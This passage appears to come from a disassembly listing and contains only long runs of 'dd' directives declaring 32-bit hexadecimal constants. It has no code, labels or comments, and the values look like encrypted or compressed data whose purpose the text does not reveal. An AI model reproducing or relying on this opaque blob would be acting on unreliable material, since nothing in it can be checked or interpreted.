		dd 0F0E8EABFh, 3A9139B5h, 0EC045259h, 96FE62A0h, 7903BAD1h
		dd 6001BB2Dh, 16999A3Dh, 53ED8F64h, 0CA3D0E49h,	0DD074642h
		dd 430DCCF6h, 828AD3DCh, 0A5759469h, 0F048458Dh, 0CAD5E206h
		dd 309734DFh, 0EED96FB7h, 0FC6330Bh, 0AE554AEh,	0C168190Dh
		dd 4470A6BBh, 34C918B2h, 6FE84383h, 81597910h, 0BA1587B8h
		dd 0D4CA9F67h, 0D3AC6430h, 934BCC7Fh, 6807101Eh, 0B8CBF3A4h
		dd 9CCEC06Dh, 408A8AB8h, 0E3AFE865h, 7E740946h,	46827FF8h
		dd 8AE2C5B8h, 8C445208h, 3254F6BDh, 4ECC72A7h, 0DBA47C22h
		dd 0FA26F70Ah, 0FD9FE83h, 46475A22h, 21022404h,	0E575456h
		dd 0BD29CB01h, 0DE7835F1h, 6C74DF9Ch, 7BA19B7Fh, 66A575C3h
		dd 81B9D2AFh, 1594D9E8h, 2F13B7A9h, 4B848485h, 73161E65h
		dd 75AD43C5h, 40EEF628h, 0B3B2CCC2h, 0FFAEDD4Bh, 0E9FABEC4h
		dd 9AE8C371h, 0AA3EA483h, 0F79AB48Ch, 920B5AE2h, 37869B22h
		dd 311DE281h, 0F43ED4ADh, 632FD924h, 669AC1F8h,	0DA0DBFF7h
		dd 0BFC25F43h, 0C35F33B5h, 4BC9E282h, 64E10A6Bh, 0F9B659CFh
		dd 0D3CC66EDh, 0DF444162h, 44AE1D7Dh, 852CA642h, 0C8B20A3h
		dd 0D63225Ah, 892DB9B2h, 8D4002B1h, 586A8653h, 0A2AE6601h
		dd 284B1E2Fh, 5B41FB46h, 0E4A3F84Eh, 0DB8B4F50h, 754A2787h
		dd 0A7281A9Ah, 934D2A81h, 0B2B5B9CFh, 6017FCDCh, 0CEEBCE9Ah
		dd 0E7886F18h, 0BA31945Ch, 0AF7E7F87h, 9239E6ACh, 6C9C6ADCh
		dd 7E40C17Ch, 0BF74E850h, 0A88DA77Fh, 9CDEB694h, 7266ECA4h
		dd 99799A80h, 27689A96h, 83E6E747h, 6264AC51h, 1DC6ED12h
		dd 0D073F35Dh, 44C824Ch, 74FCD088h, 61DE51D9h, 584490Ah
		dd 0BA111572h, 0C6ECE2D3h, 49D1DBAEh, 2DE12241h, 2A0BBA0Ah
		dd 585A5F72h, 2D83A499h, 796D50A7h, 889F2345h, 3BA55AF5h
		dd 0D8A1843Eh, 6B2DD90Dh, 0ECEE072Ch, 18E30AAEh, 14DD61h
		dd 446FBDEEh, 597CDE9Fh, 83D28DA4h, 0EF5A5F3Ch,	0D66DB958h
		dd 6C5AFDA9h, 0D433947h, 7C40F688h, 519221F3h, 2B283E9Ah
		dd 58D1F19Ah, 35C1B0Dh,	4C67B37Eh, 0E5398CC6h, 0B1B9C10Bh
		dd 0FDC70DABh, 9FAE7A29h, 0FA02A431h, 0C2BE588Eh, 0BC64487Ch
		dd 15E58C85h, 9AF31869h, 53A0CE42h, 21438h, 142B7BA2h
		dd 0B3F34210h, 0E719A117h, 16A3B56Ah, 3B81FB7Eh, 0E3CF2890h
		dd 0F76DA669h, 0F1BB221Bh, 0FEF948AAh, 0C8E4D18Dh, 60708D8Eh
		dd 165ECAAAh, 1EA1A7ABh, 84F4103Dh, 96A1A5B9h, 0D13136DBh
		dd 356CA2D8h, 689F2E6Fh, 0DAEF63DEh, 3107DF8Bh,	964273DEh
		dd 0CD890ABEh, 0ADD1C7B5h, 86B6E91h, 0F5B86649h, 0A85D675Dh
		dd 0C391465Ah, 0F93D1F2Ch, 69717117h, 2D211707h, 0AFF0B62Bh
		dd 1F046C2Ch, 0D241D7B0h, 0CA42BF3Dh, 9D6BACF6h, 0C7030239h
		dd 7E1A33BEh, 0B5F984A6h
		dd 1803CCF9h, 0B84EC726h, 0BA4286DAh, 32CE6295h, 0BA90E636h
		dd 0D6A0C620h, 6AE43400h, 0CE70AAE1h, 0D43E59D2h, 60D964D9h
		dd 98020063h, 151107FCh, 6B77190Bh, 0E56A1447h,	0E6EAE2CEh
		dd 3786F5D1h, 0DE07BFF7h, 16D37D17h, 9DB52401h,	0E4D1F8E6h
		dd 5B28BDCCh, 2C88C573h, 5E719FB7h, 0DA07433Bh,	1BE18CA8h
		dd 39F2A85Bh, 9577F324h, 0D3430A4Ah, 6CDE82C4h,	60379342h
		dd 25301B4Ah, 0E4941503h, 0E1157500h, 3F4FAA60h, 786A6559h
		dd 0F9620F5Dh, 0FE5FA3F6h, 21B09991h, 0D9028628h, 967C1704h
		dd 27A3C205h, 86F4D9F3h, 0E7E45B30h, 0F10DCAF7h, 0CC9EB5A2h
		dd 7073043Eh, 0CEAEAC1Fh, 0AB690AA3h, 9A4C947Dh, 44810669h
		dd 488F136Ch, 0C3F444EDh, 0E8DB0864h, 27249D54h, 66007AFEh
		dd 0A1C7C3B1h, 157F0A35h, 61CCD5BCh, 0C614900Ah, 0B0B5DA42h
		dd 3A5B2429h, 0FAF581DDh, 1FCF4C25h, 44E19BDFh,	2264884Ah
		dd 120B99B0h, 0EBD17AD8h, 0ED0F65EFh, 0FE795ADEh, 0B108DE5Bh
		dd 0DFCB41D8h, 0BCD8394Fh, 85AE9D6h, 0AF2B2BC1h, 23CB5731h
		dd 0C59AD266h, 0DE0E492Eh, 51DAAB95h, 803DB944h, 5784AFCAh
		dd 0AA6C4B30h, 0DB197D2Fh, 364E28DDh, 7D85D663h, 635AE5EBh
		dd 7A266C67h, 0E0AFBFB4h, 0F764ADAFh, 0FD76E785h, 0CBE1CD20h
		dd 2B549950h, 32DB0D85h, 0D7B8E1F9h, 0CE8041A5h, 317815ECh
		dd 6B0D046Ah, 2FC02603h, 0A6244737h, 5E700CC9h,	0A0717BF7h
		dd 38A8108Ch, 0F4F5068Ah, 0C9093E38h, 6EAF9CC3h, 7CF28F9Dh
		dd 8A226CF7h, 0A34247F0h, 73118B45h, 6C52B93Ch,	0F11145DEh
		dd 15C58C4h, 0E442CAA9h, 130D4797h, 1F6E88B7h, 0CF1E0D95h
		dd 0D387506Ch, 2D0B861Bh, 0DE301647h, 519DB1BCh, 0ADD4D799h
		dd 0E35C24CDh, 42909122h, 57EA27B4h, 1333128Ah,	0D0D5D1Eh
		dd 8D44A6D4h, 0CF5E920Bh, 6F78DB8h, 6CCEC475h, 0FD8835EBh
		dd 0F07E886Dh, 4E89EC13h, 0DA19ADBh, 6EA32913h,	3F75CAB5h
		dd 91D3E164h, 3B73A0EBh, 0CE74F354h, 1AA4A57Bh,	13D9C1C1h
		dd 67A23E9Fh, 58B6A94Fh, 0F004AA9h, 795FF2B8h, 0FF6C93F8h
		dd 87894C43h, 0AED70043h, 0E72E76C9h, 0A44273B0h, 2B78EB9h
		dd 4A5D7470h, 88100ABDh, 0BBE02C74h, 4D3BCCACh,	705E01FAh
		dd 0BEF92D6Dh, 5EC7AE78h, 5AEDB9B6h, 7A797E94h,	23C50B86h
		dd 0C8566874h, 0C2259B43h, 0CC29EFD1h, 49F1BDE9h, 4AC2424Fh
		dd 0E315668Dh, 0BFE64137h, 94A0D839h, 50B1F6BBh, 0F414CC16h
		dd 0DB16FE2h, 4216E5Ch,	0C05A7CB3h, 0C61D76A1h,	0F20F8C57h
		dd 1CA20790h, 94218C4Dh, 58F8332Bh, 0EB081169h,	853181A6h
		dd 0BAE243E3h, 533361A7h, 2238232h, 0D1A0D5EAh,	1023438Ch
		dd 900B560Bh, 0A947264Ch, 786BF734h, 887EADD2h,	909E0156h
		dd 0B5D05D37h, 0CB26DC70h, 96C83892h, 2DD9A341h, 4F44F7B6h
		dd 4A14F41Dh, 0D2376D4Fh, 9D39399h, 0C885F057h,	32086190h
		dd 16F86233h, 5C7FFED6h, 0C8C42897h, 0F7513611h, 0A89D8DD0h
		dd 1FE46993h, 93349B22h, 0B40430DBh, 0CABE5E0Eh, 0E48C855Bh
		dd 63AFD63Ch, 77BEBCCDh, 0C582F789h, 0A03C4004h, 0BC94271Bh
		dd 5EC04D04h, 0AA544127h, 7D2AF67Eh, 0BDA4D49Ah, 609E3D64h
		dd 0E99C54FCh, 438DD419h, 222B6F83h, 0E5EA6090h, 0B9619715h
		dd 8290CCFCh, 5CAD24B1h, 0CB8B72F3h, 8CA712A2h,	91A9885Dh
		dd 0A17051B3h, 0D5338696h, 0C0C1721Ch, 0DFAB6F50h, 2AA6A1B2h
		dd 6DF7D17Bh, 17CC9723h, 0D0C6CE2Bh, 0DA9C4E4Dh, 22F53DF6h
		dd 28A85EA8h, 35EC2FE8h, 3A87BD7Ch, 0BFC54D07h,	826FC206h
		dd 5F796E63h, 0CFCE012Eh, 8D083610h, 0CC61028Dh, 6B6E4E78h
		dd 70D1F6B5h, 0C74F621h, 0DC94AC13h, 0D96FBBE9h, 0EF495E62h
		dd 9F3717D1h, 53407846h, 650F742h, 11F1301Dh, 9C3B7E6Dh
		dd 75D1F338h, 331431BCh, 0F84DF5B5h, 82C7011h, 7CEAEF95h
		dd 116381F5h, 0F657C5ADh, 13A0684Dh, 9537AAFBh,	0A67B8E46h
		dd 48428E85h, 0F347FF94h, 1C8456BCh, 6C1A10F5h,	0A981FE0Eh
		dd 8D910F72h, 0AE5B463h, 54FFF450h, 0BE189E84h,	878E0E78h
		dd 0B9E77685h, 43CEB469h, 97C020E3h, 0DED49A1Ch, 66EC5914h
		dd 0E261D2C9h, 0EE838EFh, 22A5DE4Dh, 0C091707h,	23D7B09Dh
		dd 44842864h, 31CE413h,	0BBAAEEBDh, 55B8B3ABh, 0A0229Ch
		dd 0DE1A5AE7h, 136E8F38h, 2A4DB0D3h, 0B06EC42Dh, 279EA488h
		dd 0B92EDCC6h, 3E837DB4h, 0C992BC75h, 74025FDEh, 0B2E0487Fh
		dd 9A972413h, 0D1DC850h, 4A0821DCh, 0C0C483D3h,	9A317862h
		dd 48E31B26h, 60222332h, 0A4D5ED82h, 0A67BACD7h, 0A5B72D6Ah
		dd 30B0B404h, 0D6DC5ACEh, 4FB8D8B6h, 3A00EF12h,	8B821B21h
		dd 6CAB4D04h, 8CF58374h, 4E601FCEh, 0AFA9B069h,	0DFD98295h
		dd 0E500E6BEh, 0EF48E164h, 2E085D35h, 5F11CC9Dh, 0F4C8CE93h
		dd 0DE67B79Dh, 0A887E6E2h, 9F57BC84h, 464F34A9h, 9DB82DE1h
		dd 0D39AE8E5h, 0F4EB5398h, 3F1F3301h, 0C358732Dh, 0F35E50A9h
		dd 5905DEB2h, 6E7D2644h, 0F2D70243h, 1A0ABB6h, 2109B0C8h
		dd 902BAD1Ah, 340BA09Ah, 0D0D9F252h, 57F96DEDh,	44A4668Ah
		dd 0C9DA349h, 6F6C998Dh, 0AD50AC25h, 38ADD0EEh,	7EFA3363h
		dd 0A671D12Dh, 84545D77h, 436BF3CDh, 9754A319h,	0DDA05877h
		dd 4EDD04AAh, 51BF0D14h, 17BA93F9h, 0AE158D1Ch,	8BB3772Fh
		dd 671E387Fh, 66548998h, 3339EDE6h, 66E52ABAh, 0DA0C9BF5h
		dd 2F2A38CBh, 0AF579515h, 8D3C0CA1h, 8274F329h,	6624F46Eh
		dd 0AB25342h, 0EFC1ED76h, 3CF92466h, 89E1A7B5h,	515A9B51h
		dd 1C5E976Ch, 78F55802h, 0AEEF506Bh, 3D1AE1DEh,	0D4977B8Ah
		dd 40BFF395h, 0EC4B9495h, 0D71CF77Dh, 0AFBF65ECh, 958ACF94h
		dd 0B2D86357h, 9F36BEE4h, 7C065894h, 3D38AC65h,	9F7373Dh
		dd 77201555h, 2278D361h, 590B62C6h, 5E8FC973h, 0E7FA944Dh
		dd 0F6CEF8D9h, 0EB1F5FD3h, 73DA961Ch, 0A3E75379h, 0E355514Ah
		dd 0DF6F42Ch, 29750502h, 777A66F0h, 0AE5768E1h,	98DE0636h
		dd 471E80F9h, 81F50B6Ch, 0F0CEEA56h, 0AB5CFE2Eh, 7C640125h
		dd 5D45EC72h, 4E3D7C0Eh, 0DC7844C7h, 0E58C79C0h, 0B76BD326h
		dd 453C26Fh, 0EF1207A3h, 77780BECh, 0A51CAFE9h,	0AA1EE08Ch
		dd 0F4848FFCh, 4ABF05DAh, 6085DFCDh, 29926FE0h,	0C61F84B7h
		dd 147CB417h, 6DFCCFFDh, 90F593DAh, 5EB75FFAh, 4F55494Ch
		dd 7F95139Bh, 4DAE3264h, 0D55C83B7h, 0BE684E0h,	5ECEEB80h
		dd 591F8737h, 0B974C071h, 1D57C6D4h, 44DCB29Eh,	0BADEFE52h
		dd 0BABC1C6Eh, 0E4E77C5Bh, 663C0CF5h, 863438E6h, 0A0AF35C7h
		dd 0B4B67199h, 7AF45B9Dh, 0CB14424Ah, 3459BBAEh, 0CDD8CD56h
		dd 10D575BEh, 7AA88389h, 0A11EDBB9h, 0D0C56F10h, 0B61785B1h
		dd 0A102E40Dh, 9915142Bh, 0E95F5D1h, 9214C2FAh,	3625019Ah
		dd 587AE816h, 75823ABCh, 0D3D061Bh, 17310D77h, 0F3C0B60h
		dd 0C5545D71h, 3BF92E9Fh, 0B1451F6Fh, 0F784EB95h, 34C6F7Bh
		dd 46118CFAh, 8E3977F3h, 0F0C7F344h, 5F6A885Eh,	0F2CC1F74h
		dd 9BEE4EE7h, 0E2E6CC17h, 0CC22ECF1h, 8B939111h, 0FF673694h
		dd 0ECE0C44Fh, 36635E41h, 82EFB5B9h, 33C1E167h,	61DBCCADh
		dd 2E3B105Ah, 25BAA637h, 32B60C5Bh, 0A79276BDh,	82B1650Fh
		dd 9BE3FC5Fh, 0B1716788h, 0F050712Fh, 16551D00h, 0CDD1063Eh
		dd 1E8C0029h, 8E6284A3h, 9D111BDBh, 0A3697B08h,	1CE46BDDh
		dd 0EA12BB5Bh, 98A66CC1h, 27809780h, 60724C91h,	0AF800F03h
		dd 0D97BCC98h, 0CE2E1F61h
		dd 94104823h, 0CE08B21h, 0F4A999F1h, 0C33ADDE0h, 0C52F817Ch
		dd 4D9AF84Fh, 4CA69E78h, 15C45F8Eh, 9E6C50F3h, 3109DB09h
		dd 338F04A5h, 0D951A0CCh, 0CC0389Ah, 516181A9h,	98E33563h
		dd 4E9BB7B5h, 387BCBE1h, 4836FFECh, 0D4BDBA65h,	864F9DD0h
		dd 0EEC166DDh, 0EB6A39C0h, 0AF5DBAFDh, 3E4037B7h, 27666D19h
		dd 1A28006Ah, 14847B42h, 67A9AE04h, 0C55F9782h,	649F7C7Eh
		dd 90AAB5F6h, 0D011363Bh, 0B35E64F1h, 0F27F833Eh, 0FF1A59C2h
		dd 4EE04421h, 86D6A5D9h, 3EEFC9DCh, 6065E1DBh, 9FFAB350h
		dd 48285103h, 0A72A3E6Dh, 2395EB9Bh, 0BEC5BAFAh, 0E4447ADh
		dd 813EB69h, 0C9F40A0Ah, 317FE896h, 23CD193Dh, 78B89E72h
		dd 4524B8FBh, 0B5FA0768h, 0BE8F77E0h, 0BF3FEDF3h, 0C8A94F1h
		dd 0A379F21Ah, 0D44D573Bh, 6F46EC42h, 6386D9CEh, 0D2EB7AFDh
		dd 769E1D10h, 0BF54591Eh, 862FD7C2h, 9AD5B6D8h,	0F89CB85Ch
		dd 62DCCAFDh, 0A3D6ABD8h, 5870A5DBh, 50D00EB7h,	326AFA27h
		dd 5A966BBDh, 883CE77Ah, 0F25FB211h, 74C1FA8Ah,	0C65AEEFFh
		dd 0A39D3620h, 7DF4A3EBh, 6C1B816Fh, 4A80C033h,	0A6FD5D08h
		dd 42B1F0F6h, 0CEC96EB8h, 0A1B1950Eh, 0F08271F4h, 527B1F39h
		dd 9CE13493h, 9AD2C25Fh, 7501D348h, 11382EBDh, 9BFF486Ah
		dd 1E111359h, 9C4FF0ACh, 77E918DBh, 0BFBF3383h,	0C0C52D09h
		dd 42487974h, 0D121E571h, 0A91D6434h, 0F62D9252h, 46F86451h
		dd 42E7F61Ah, 0BDE04668h, 6860CC9Ch, 364242C4h,	6D2FDCB8h
		dd 2868D7E2h, 0D0CEA815h, 609B5B92h, 0F243C9B8h, 0C097C573h
		dd 5994A1C4h, 0D7371DDEh, 7EAAE8Eh, 0F5199BDEh,	6EA6FAC0h
		dd 86E6722Fh, 1C3DB3BDh, 74D17606h, 8D96480Ah, 1BFEFC28h
		dd 79EA6F42h, 0A5CA2CCFh, 56045C37h, 6846E54Eh,	4EC56A8Eh
		dd 0A1346582h, 9C9685E2h, 0F9AE4298h, 0C5DE3B92h, 5EE8DA10h
		dd 11BC925Eh, 9BB73244h, 4C668186h, 52132C04h, 0DF21D33Fh
		dd 160C76AFh, 96BE887Dh, 28CF631Eh, 16C00D05h, 0A0C776BDh
		dd 1DEB4E19h, 0FB4918B2h, 0E7F65C6Ah, 0F284DDC3h, 0F83A3754h
		dd 29A27F50h, 0AAE54D1Ah, 5E0D33AFh, 829FAFF8h,	7F7B2AA8h
		dd 35ACE5E3h, 3532737Bh, 5E90EB5Bh, 0AFABFDF3h,	52278FCEh
		dd 591D71FCh, 0C340F522h, 0DCC6941Ah, 8275DB34h, 0D1E75213h
		dd 24D84FF3h, 0D54128B1h, 0E78E6A8Eh, 0DF4AD0AFh, 7288D19Fh
		dd 84D3301Eh, 0B4A9AA1h, 34885B0h, 82ABA6AAh, 0BA547B2h
		dd 621130E4h, 0B1A54D8Ch, 3089C193h, 0E53F35B9h, 326679A9h
		dd 211E329Fh, 0E542BC6Fh, 783D1D77h, 0E26EC8D1h, 7D5C4444h
		dd 65B74F43h, 0F51A9058h, 0D84589AFh, 0FDA1EF9h, 52A73015h
		dd 0E155B114h, 7F337EFh, 9DCA4008h, 17289E50h, 0D4E18642h
		dd 9E4C48F0h, 170D1CB2h, 958FB0BCh, 0A3F90FCEh,	0A902EF69h
		dd 0E98D1B5Dh, 42DA8BF9h, 9197DBE7h, 7042998Ch,	0DC5BF80Eh
		dd 0AF35B5EDh, 0A871C60Eh, 0FF775419h, 0E33BBB5Bh, 9727D470h
		dd 0A9BD8384h, 0A8E9EB2Bh, 0F860E886h, 0F9A4CA34h, 9E5B2D60h
		dd 0FAE2A83Ah, 0B2AB8170h, 0D2E87233h, 0AB379D28h, 331BEE1Dh
		dd 64443731h, 0D93D00E7h, 0ADDD5EF9h, 0D70D8BCh, 7D8C9B4Dh
		dd 0E2CA4A45h, 733214C7h, 1E48BCE5h, 0D66B6BF4h, 0EDB758C0h
		dd 37C4C604h, 52E29997h, 475FC36Eh, 0A0098085h,	1774D5DEh
		dd 0C066478Bh, 5604AA90h, 52F21107h, 60633E0h, 84A05B13h
		dd 0E9AC86EDh, 15A89709h, 0ACFBA5F8h, 7D50E0F4h, 0A37C8E28h
		dd 6A901608h, 72DC3B1Ch, 0D20472DBh, 1BF28AC7h,	1618EADCh
		dd 0B05E33BEh, 0C7434E0Eh, 4BADD8EDh, 0C428632Bh, 2DE075BDh
		dd 2FB68E3Fh, 0CF4215DEh, 8E8F1714h, 83201E1h, 4C9ED60h
		dd 0A9C23FE0h, 8B77164Fh, 7F56DC03h, 16A9553Ah,	87B61DB1h
		dd 12811F5h, 0CF42DB2h,	42F8A893h, 0BB7F1114h, 94FC7549h
		dd 0DBF95948h, 3399CD6Ah, 0A5E90C85h, 66FB65D8h, 7147961Ch
		dd 1C8F27AEh, 0DF7EBDA3h, 94F0CEF9h, 2D4FDF6Dh,	5249FB9Ch
		dd 0B07CC0C1h, 0DE531736h, 355D1262h, 3D2F5D4Fh, 0BABD3B2Fh
		dd 0A0A04547h, 0E6D6982Fh, 0A9617544h, 3E3D9BE8h, 0D64B4849h
		dd 75918207h, 5ED9C89Fh, 0C9DD92FBh, 8DB09C7Ch,	0DE92C75Bh
		dd 6962F787h, 93D15B02h, 63DC3D18h, 0CE138324h,	25A67C1Bh
		dd 90B44101h, 0A631FB8Eh, 0E49C7E82h, 1666A4DEh, 7A4B4B49h
		dd 0B5D98CAAh, 7B9C47B6h, 0E390BAC6h, 67EFB2F7h, 0C65CA505h
		dd 0C83E5578h, 0AFBE1D05h, 0DD018679h, 7F73B1EDh, 0FE6C7CCFh
		dd 30475943h, 9BD732C4h, 0C6E9AFB7h, 6AAB4EDDh,	0FA98D2B9h
		dd 0E224007Bh, 60B2AC06h, 3DC1DF91h, 7FA84F3h, 8FCC6DCCh
		dd 0C2455C84h, 0E0C8D2B3h, 806085A0h, 0F7A65601h, 63826231h
		dd 0D5ECDFB1h, 208F5DA4h, 867B7819h, 0A7BAC4B7h, 8EC0C7CCh
		dd 0FD8E687Eh, 34024FE7h, 85EB9360h, 47A5F704h,	0F11FA4D5h
		dd 2A6E565Fh, 8D359235h, 7F29363Bh, 21AEC2Ch, 3A0A5685h
		dd 7F9DCF69h, 0BF71DFBFh, 64554C88h, 88B019E3h,	5CDA0DACh
		dd 29FB5FECh, 84BC666Fh, 540089ADh, 750E959Bh, 691691E8h
		dd 5364E109h, 0E3C41FA9h, 611593BEh, 9E16EB51h,	57B0589Bh
		dd 145D638h, 0EB9E3CE0h, 87660850h, 9CC95692h, 0BE0F7151h
		dd 19D7D2A2h, 0CB6DC7DFh, 0D4143665h, 0A6700D17h, 0DD2C00E3h
		dd 4D676324h, 0ADAC42E8h, 0E1CF3B39h, 90FC8679h, 0E4B0B960h
		dd 1373CB9Fh, 0C87FA51Bh, 8D8687A9h, 5F2460E8h,	3890731Bh
		dd 0B70D5F78h, 0EDA952B9h, 43CCE483h, 0B54FD699h, 0F5AB6AF8h
		dd 9766B6B5h, 0E7BD04C9h, 1CF0F946h, 83749E1h, 5F15308Dh
		dd 2B5A8989h, 0F1E6DC95h, 51CCEBDBh, 31EC0677h,	0EABE98ACh
		dd 525B7F24h, 0D71D571Eh, 0D4EA1CF4h, 0F5E2975Eh, 660550F4h
		dd 0F9E35EDCh, 0A3484FEFh, 0E94D090Dh, 0D124464Ch, 0B113EF43h
		dd 0DBD359E6h, 9754A0FDh, 24BEC39Eh, 86A80A2Eh,	7FF43F5h
		dd 0DBCDAC27h, 4FDC0A0Ah, 333FFFF9h, 0DD6C60C8h, 0B53D3A5Eh
		dd 2D610EBEh, 87164F33h, 750E959Bh, 691691E8h, 0C782C5F6h
		dd 2F3D64FBh, 484AA7h, 0AFCC105h, 2B6F83D2h, 53569031h
		dd 71C961Ch, 0C91E05CCh, 1566878Fh, 5C5EFD47h, 82D08EFh
		dd 0B98A55A9h, 3824A36Fh, 0D5B07B50h, 0CA3373DDh, 0B271C47Ah
		dd 8D6BDFE0h, 313DB058h, 88F41089h, 9DFF5928h, 0E3884987h
		dd 0BB8C3813h, 0E261CAD8h, 0A53DE42Bh, 0F267DE17h, 22D698B6h
		dd 9176D1B3h, 403DD5Fh,	0FA98D2B9h, 0E224007Bh,	57B4DDEFh
		dd 7966D524h, 70B359B6h, 65F94DB2h, 0E116D768h,	0D0BAF367h
		dd 46E14E5Eh, 7C598272h, 1C60A806h, 0B18C518Ah,	0BDDEBA1Ch
		dd 860B87ADh, 158457BCh, 1DF21ECEh, 3888B0B8h, 8F1EF946h
		dd 3CA98705h, 0E22E50D7h, 0D33D1DD1h, 0B9C1DBD5h, 115A9A64h
		dd 0AFDD9ABEh, 8DE08B4Eh, 0D8206A92h, 9549FD66h, 84A4C414h
		dd 0CB5733CFh, 38471398h, 8E275272h, 4296B335h,	0FDE328EBh
		dd 4721CF36h, 0BDE67B9Ch, 0D043770Bh, 63B0B7EFh, 4735B19Eh
		dd 0B88F7A1h, 30504992h, 830558ADh, 0CC86E04Ch,	467C6763h
		dd 2917FE97h, 329F5D75h, 54ED4B58h, 69AF1F47h, 2218E77Eh
		dd 0D4641644h, 0A1D98A26h, 0EA13E59Dh, 0AE04EC69h, 0DE3CA448h
		dd 901FB1E5h, 5ABB86Eh,	0FDDF1ECEh, 0D2D381C8h,	4780E57Ch
		dd 0C68D5B37h, 0FA50882Ch, 0F58A1A17h, 324CD8E8h, 0ECE243C9h
		dd 0A3A48904h, 1D73E88Fh, 0CC77B108h, 29397BD1h, 5ED21DCCh
		dd 7B61F5F1h, 0DA21EDA1h
		dd 0E8A57E2Ah, 19C181C7h, 6D8B474Fh, 0D87CA2E2h, 0BC7E13B4h
		dd 448CC302h, 4850EB21h, 0DDB437F7h, 0F3702CF1h, 826BAC9h
		dd 55DBA0E6h, 0BD6891F4h, 59C4DFB3h, 0EFB1D9DEh, 0D84CF7Bh
		dd 1ACD3D39h, 91940FD4h, 29827821h, 39D41FB0h, 0FCAF06EBh
		dd 64FEC07Bh, 363DA654h, 0DEA6A53Eh, 220F6324h,	0E3B17765h
		dd 2E92AF16h, 0AA3E3349h, 6A09EDD9h, 3E00DAF4h,	0CDC690BEh
		dd 34812C28h, 0BF3BA12Ch, 0BD2EC0FDh, 0BE42DC4Ch, 53F6BCFBh
		dd 45CD51E4h, 0BA06E46h, 0EF3B56EBh, 9EE4748Bh,	7456813Ch
		dd 54EE8929h, 0B73199D9h, 0E9E7734Ah, 6E143325h, 0CF7A2823h
		dd 5AD06273h, 63E9150Fh, 65E37D4Bh, 0D71A3265h,	0D710B873h
		dd 7CCC6004h, 88632EC2h, 0C934B16Bh, 6F4ED424h,	29C20412h
		dd 0E723A206h, 20ADFDD8h, 9EBF90B5h, 4F9F5646h,	0CE2BA9DEh
		dd 89DFC3FDh, 0F3D096B6h, 2F51FB8Eh, 0F4EA947Ah, 0A7994682h
		dd 5CF753C0h, 9FB12E2Eh, 452DF614h, 0A681E15Fh,	0E85F8F82h
		dd 9009A416h, 0ACDAEE23h, 0F04F0F45h, 2A99526Fh, 0EECD5FC6h
		dd 0E69C5152h, 30384CEDh, 62D33092h, 4B49C604h,	54A3DB94h
		dd 0E90327C2h, 0AB006AF3h, 0EE80BE6h, 7C1F0800h, 5FDB42D4h
		dd 2850AC51h, 5ACF4C4Eh, 0E7D734DDh, 0C1871449h, 0C525077Bh
		dd 732DAA5Eh, 1F7EED74h, 0EDB28DAEh, 0FF22B311h, 68D1D8C4h
		dd 0B5D44BDAh, 8B3A5E89h, 4A877A63h, 9F10916Eh,	64D57F8Ch
		dd 15FD519Bh, 189794DDh, 0B5511504h, 0A4D7D8D9h, 331A592Eh
		dd 40FA00EDh, 85B4B4A3h, 0D75147Fh, 0D429EFD7h,	717BE80Bh
		dd 28235F55h, 70CE45D4h, 0C20A6432h, 61872686h,	0C5C3BA09h
		dd 0D2DC5C1Ch, 0AA742CE4h, 0EB61546Fh, 0DE090F1Eh, 5B0A70Ah
		dd 29858105h, 87B90432h, 69F27925h, 578A8FEDh, 8B9DF970h
		dd 709366D5h, 929860B7h, 98D03F2h, 5FB9F2D6h, 33BB5F05h
		dd 2F750AB4h, 845A506Ah, 0A72975F5h, 52D78D59h,	10ACF313h
		dd 570B964Bh, 0DD2A11D5h, 24B77E02h, 22CB4D43h,	50462B4Eh
		dd 5ABBB76Dh, 67CB89E1h, 0F1CDCB66h, 0AFD719B3h, 0FFAB6E3Bh
		dd 0FBC6854Ah, 303859F1h, 6C976341h, 26D81244h,	570C36B8h
		dd 8B6AD2D7h, 7B579FEBh, 4DFF1D09h, 1FECF4Ah, 0D4A8316Eh
		dd 860E6B41h, 0E74D8C41h, 0C24DEEA4h, 0F9830317h, 2BB49384h
		dd 0EFA0EDC4h, 6786B8CAh, 6C8E78A3h, 43EDB0DBh,	91E1F3FDh
		dd 9CA3AC25h, 34961248h, 75CC4CBFh, 0B5644AAFh,	211AADADh
		dd 0C00F15F6h, 0A69E77FAh, 552BFA7Fh, 7819CD13h, 6797F98h
		dd 11E3BE48h, 6FDF4C6Dh, 0F50CD7B2h, 0DE4A233h,	93A39304h
		dd 0B9402D5Dh, 0FE2B4748h, 7F3557F5h, 0CC0BA518h, 54584E92h
		dd 0C5071D8Ch, 0BB09F0FCh, 50754690h, 0EFA4FFA6h, 30A93B7Eh
		dd 0A09AC11Eh, 0C7570613h, 78111233h, 0B72FCEA0h, 0E13741A3h
		dd 0C6051541h, 46D03704h, 64A545F5h, 6FF96C2h, 9BEE6C52h
		dd 0E1EC6D0Ch, 0B9D61FAEh, 90A01356h, 0B07EE6E6h, 25900448h
		dd 8A7F0FF5h, 0D50AF5EBh, 1CF84FD7h, 0E07F89A7h, 0DEC2A596h
		dd 0A2033604h, 6A0DB0EAh, 2184ABF3h, 6DB992D5h,	3D6F7CC7h
		dd 0FDEBD27h, 19A46B3Ah, 85EC38FEh, 0D3A49675h,	0CA98830Dh
		dd 2DF3006h, 0D41FBA58h, 7DADEE59h, 0CC460EDAh,	43CB4046h
		dd 5FE03762h, 949AA3C3h, 0BB976A48h, 0BF832458h, 0DD023A94h
		dd 7101FC63h, 0CD3130F8h, 0C41A6F7Eh, 7CA70F15h, 8CE48DA0h
		dd 0A27680EEh, 2385EC3Ah, 0E84A391Ch, 9CB3D5CEh, 0ECBB40FFh
		dd 0BE4F1DDAh, 28AFE3B8h, 0E48C3BC0h, 71D02AABh, 0E9BD7C73h
		dd 22D7ED74h, 0FB401316h, 0E3C00347h, 0EDFF9Dh,	0ECB1C7E6h
		dd 3FBBE44Dh, 0CA27A172h, 118DB59Eh, 0A750E13Fh, 1EB7F30Bh
		dd 0C303E31Fh, 38257DB6h, 2EE29BBDh, 0C7941098h, 2CB30Bh
		dd 0B4275Eh, 5EA502F8h,	7D721EEAh, 13C68201h, 3A8172D6h
		dd 0E63702D9h, 28BBF209h, 0E3B5113Bh, 0DF49B876h, 0E18ACD71h
		dd 9EAEA798h, 5BFAAC68h, 5460C209h, 0C28A6D4Fh,	73E052D0h
		dd 1CDA652Bh, 1872BD12h, 0BBB452E8h, 9E03EA3Bh,	0CE5BA485h
		dd 80D49F84h, 0F217BE2Dh, 402D45E8h, 5BE1598Dh,	6C46D973h
		dd 2F35B144h, 0FC2B2C4Bh, 342AC47Eh, 0D314D2ADh, 0C95A7ABDh
